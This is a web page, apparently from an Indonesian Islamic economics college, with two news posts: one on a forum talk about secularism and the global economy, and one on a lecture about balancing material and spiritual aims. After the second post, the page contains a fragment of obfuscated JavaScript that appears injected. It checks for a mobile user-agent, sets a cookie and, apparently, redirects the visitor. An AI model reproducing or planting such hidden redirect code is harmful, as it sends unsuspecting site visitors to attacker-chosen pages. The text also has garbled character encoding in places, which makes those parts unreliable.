Monday Forum kali ini diisi dengan talk dari Guru Besar Ilmu Ekonomi dan Ekonomi Politik FEM IPB, Prof. Dr. Didin S. Damanhuri, S.E, M.S, DEA. Acara dibuka pukul 10.00 WIB oleh Rizki Zakiya, S.E.I. dari Humas STEI Tazkia selaku pembawa acara. Tilawah Qura��an dibacakan oleh Muhammad Alwi, mahasiswa Program Studi Ekonomi Syariah STEI Tazkia. Sebelum memulai pada acara inti, Bu Ries Wulandari, M.Si selaku kepala LPPM memberikan sambutan dilanjutkan dengan sambutan dari Dr. Murniati Mukhlisin, M.Acc. selaku ketua STEI Tazkia dan Dr. M. Syafii Antonio selaku Pembina Yayasan Tazkia Cendekia.

Seminar Talk Series dimoderatori oleh Dr. Mukhamad Yasid, M.Si. Prof. Didin adalah salah satu orang yang memberi masukan tentang perlunya pendidikan ekonomi Islam sejak 19 tahun yang lalu. Prof. Didin beserta Dr. M. Syafii Antonio, M.Ec dan Dr. Yasid telah bersama-sama membangun Tazkia dan Prof. Didin pun sempat mengajar di Tazkia hingga tahun 2012.

Prof. Didin membuka dengan pernyataan bahwa ekonomi Islam tidak hanya di ruang kosong, tetapi harus berada pada ruang yang dinamis, yang bisa merespon perkembangan yang terjadi. Prof. Didin memaparkan permasalahan saat ini, bahwa dunia modern dibangun oleh sekularisme. Sikap sekuler ini berasal dari keadaan Eropa yang miskin karena otoritas gereja yang bekerja sama dengan tuan tanah, sehingga mereka menganggap bahwa penyebab kemiskinan dan yang menghalangi perkembangan Eropa pada masa itu adalah agama. Kaum sekuler menganggap bahwa sebaiknya agama tidak ikut campur dalam kehidupan sosial. Hal ini berujung pada revolusi ilmu pengeahuan, revolusi industri dan revolusi politik. Pihak yang mengendalikan dunia bukanlah Amerika atau Eropa, melainkan para pebisnis. Karena sekuler tidak ada pengendalian dari agama, maka yang bergerak adalah nafsu duniawi.

Inilah yang disebut paradoks, adanya Rainasance melahirkan sekularisme, dan dari sekularisme melahirkan revolusi pertanian, revolusi industri, revolusi keuangan dan revolusi ekonomi digital. Model ekonomi saat ini berdasarkan keinginan yang berakhir pada eksploitasi sumber daya alam dan manusia. Kaum modal berkuasa atas kaum buruh. Model ini akan sangat sulit berubah jika masyarakat masih sekuler dan tidak menerapkan norma agama.

Prof Didin memaparkan bahwa dasar Maqoshid yang beliau gagas ada tiga: Tauhid, Adalah (keadilan) dan Kholifatu fil Ardh (kepemimpinan). Beliau juga memberikan solusi berupa a�?Asian Waysa�� yaitu agama menjadi landasan proses pembangunan, full employment oriented dan extended family based social security system. Bahwasannya segala perkembangan ilmu pengetahuan perlu dilandasi dan dimasukkan nilai-nilai agama dan setiap masyarakat saling peduli satu sama lain.

Bapak Yasid selaku moderator menutup pemaparan Prof Didin dengan mengatakan bahwa masalah ekonomi adalah keserakahan yang kemudian memiliki tempat dan akhirnya mengeksploitasi. Jika kita bisa bahagia tanpa menjadi Amerika, untuk apa menjadi Amerika? Seminar talk series diakhiri dengan sesi tanya jawab dan foto bersama. (Istiqomah Syaa��bani)

Miftahul AnwarMONDAY FORUM, Paradox Perekonomian Global Ekonomi Islam & Perspektif Perekonomian Nasional
read more

Keseimbangan antara Materi dan Spritual dalam Konsep Ekonomi Islam

No comments

Konsep islam menawarkan keseimbangan materi dan spritual. Misalnya, orang boleh punya orientasi menjadi kaya tetapi tidak boleh rakus dan pelit. Inilah rumusan sederhana tentang konsep ekonomi islam yang berorientasi pada nilai ibadah, semangat kebersamaan dan azas keadilan. Hal ini disampaikan oleh Dr. Habib Namlaity, Pengurus Badan Wakaf asal Bahrain dalam kuliah umumnya di STEI Tazkia Bogor, Senin (17/8).

Dalam materinya, Dr. Habib menjabarkan bagaimana keseimbangan antara materi dan spiritual dalam konsep islam. a�?Islam tidak menetapkan takaran maksimal boleh mengambil untung dari suatu transaksi,tetapi islam melarang orang untuk memanfaatkan situasi mencari keuntungan besar sehingga harga tidak terjangkau,a�? jelasnya.

a�?Islam pun mengajarkan etika kejujuran,larangan curang dan bahkan larangan merusak harga pasar dengan cara menaikan atau menurunkan harga barang seenaknya,a�? tambah Habib.

Dalam kesempatan itu Habib juga didampingi oleh ketua Badan Pengelola Wakaf Ar Risalah, Padang, Mulyadi Muslim. (sippfm.com) -6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarKeseimbangan antara Materi dan Spritual dalam Konsep Ekonomi Islam
read more